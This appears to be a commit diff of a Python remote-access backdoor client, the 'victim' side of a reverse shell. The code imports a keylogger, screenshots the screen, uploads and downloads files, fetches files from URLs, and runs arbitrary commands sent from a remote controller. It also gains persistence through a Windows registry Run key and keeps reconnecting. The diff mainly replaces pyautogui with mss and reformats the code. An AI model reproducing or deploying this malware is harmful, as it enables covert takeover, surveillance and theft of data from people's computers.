33import subprocess
44import time
55import os
6- import pyautogui #dependency # pip install pyautogui #mss is faster alternative
7- import keylogger
86import threading
97import shutil
108import sys
11- import requests
129from sys import platform
1310
11+ # External dependencies
12+ from mss import mss
13+ import requests
14+
15+ # Local dependencies
16+ import keylogger
17+ # from mss import mss # mss v6.1.0
18+ # import requests # v2.28.0
19+
20+
21+
1422def reliable_send (data ):
1523 jsondata = json .dumps (data )
1624 s .send (jsondata .encode ())
1725
26+
1827def reliable_recv ():
1928 data = ''
2029 while True :
@@ -24,6 +33,7 @@ def reliable_recv():
2433 except ValueError :
2534 continue
2635
36+
2737def download_file (file_name ):
2838 f = open (file_name , 'wb' )
2939 s .settimeout (2 )
@@ -37,32 +47,46 @@ def download_file(file_name):
3747 s .settimeout (None )
3848 f .close ()
3949
50+
4051def upload_file (file_name ):
4152 f = open (file_name , 'rb' )
4253 s .send (f .read ())
4354
55+
4456def download_url (url ):
4557 get_response = requests .get (url )
4658 file_name = url .split ('/' )[- 1 ]
4759 with open (file_name , 'wb' ) as out_file :
4860 out_file .write (get_response .content )
4961
62+
5063def screenshot ():
51- myScreenshot = pyautogui .screenshot ()
52- myScreenshot .save ('.screen.png' )
64+ if platform == "win32" or platform == "darwin" :
65+ with mss () as screen :
66+ filename = screen .shot ()
67+ os .rename (filename , '.screen.png' )
68+ elif platform == "linux" or platform == "linux2" :
69+ with mss (display = ":0.0" ) as screen :
70+ filename = screen .shot ()
71+ os .rename (filename , '.screen.png' )
72+
73+ # TODO: screenshot other monitors
5374
5475def persist (reg_name , copy_name ):
5576 file_location = os .environ ['appdata' ] + '\\ ' + copy_name
5677 try :
5778 if not os .path .exists (file_location ):
5879 shutil .copyfile (sys .executable , file_location )
59- subprocess .call ('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ' + reg_name + ' /t REG_SZ /d "' + file_location + '"' , shell = True )
80+ subprocess .call (
81+ 'reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ' + reg_name + ' /t REG_SZ /d "' + file_location + '"' ,
82+ shell = True )
6083 reliable_send ('[+] Created Persistence With Reg Key: ' + reg_name )
6184 else :
6285 reliable_send ('[+] Persistence Already Exists' )
6386 except :
6487 reliable_send ('[-] Error Creating Persistence With The Target Machine' )
6588
89+
6690def is_admin ():
6791 global admin
6892 if platform == 'win32' :
@@ -72,28 +96,29 @@ def is_admin():
7296 admin = '[!!] User Privileges!'
7397 else :
7498 admin = '[+] Administrator Privileges!'
75- elif platform == "linux" or platform == "linux2" or platform == "darwin" :
99+ elif platform == "linux" or platform == "linux2" or platform == "darwin" :
76100 pass
77- #TO BE DONE
101+ # TO BE DONE
102+
78103
79104def shell ():
80105 while True :
81106 command = reliable_recv ()
82107 if command == 'quit' :
83108 break
84- elif command == 'background' : # BEGIN
109+ elif command == 'background' : # BEGIN
85110 pass
86- elif command == 'help' : # ideally to be removed
111+ elif command == 'help' : # ideally to be removed
87112 pass
88113 elif command == 'clear' :
89- pass # END
114+ pass # END
90115 elif command [:3 ] == 'cd ' :
91116 os .chdir (command [3 :])
92117 elif command [:6 ] == 'upload' :
93118 download_file (command [7 :])
94119 elif command [:8 ] == 'download' :
95120 upload_file (command [9 :])
96- elif command [:3 ] == 'get' :
121+ elif command [:3 ] == 'get' :
97122 try :
98123 download_url (command [4 :])
99124 reliable_send ('[+] Downloaded File From Specified URL!' )
@@ -119,7 +144,8 @@ def shell():
119144 reg_name , copy_name = command [12 :].split (' ' )
120145 persist (reg_name , copy_name )
121146 elif command [:7 ] == 'sendall' :
122- subprocess .Popen (command [8 :], shell = True , stdout = subprocess .PIPE , stderr = subprocess .PIPE , stdin = subprocess .PIPE )
147+ subprocess .Popen (command [8 :], shell = True , stdout = subprocess .PIPE , stderr = subprocess .PIPE ,
148+ stdin = subprocess .PIPE )
123149 elif command [:5 ] == 'check' :
124150 try :
125151 is_admin ()
@@ -133,11 +159,13 @@ def shell():
133159 except :
134160 reliable_send ('[-] Failed to start!' )
135161 else :
136- execute = subprocess .Popen (command , shell = True , stdout = subprocess .PIPE , stderr = subprocess .PIPE ,stdin = subprocess .PIPE )
162+ execute = subprocess .Popen (command , shell = True , stdout = subprocess .PIPE , stderr = subprocess .PIPE ,
163+ stdin = subprocess .PIPE )
137164 result = execute .stdout .read () + execute .stderr .read ()
138165 result = result .decode ()
139166 reliable_send (result )
140167
168+
141169def connection ():
142170 while True :
143171 time .sleep (5 )
@@ -150,6 +178,7 @@ def connection():
150178 break
151179 except :
152180 connection ()
153-
181+
182+
154183s = socket .socket (socket .AF_INET , socket .SOCK_STREAM )
155- connection ()
184+ connection ()
0 commit comments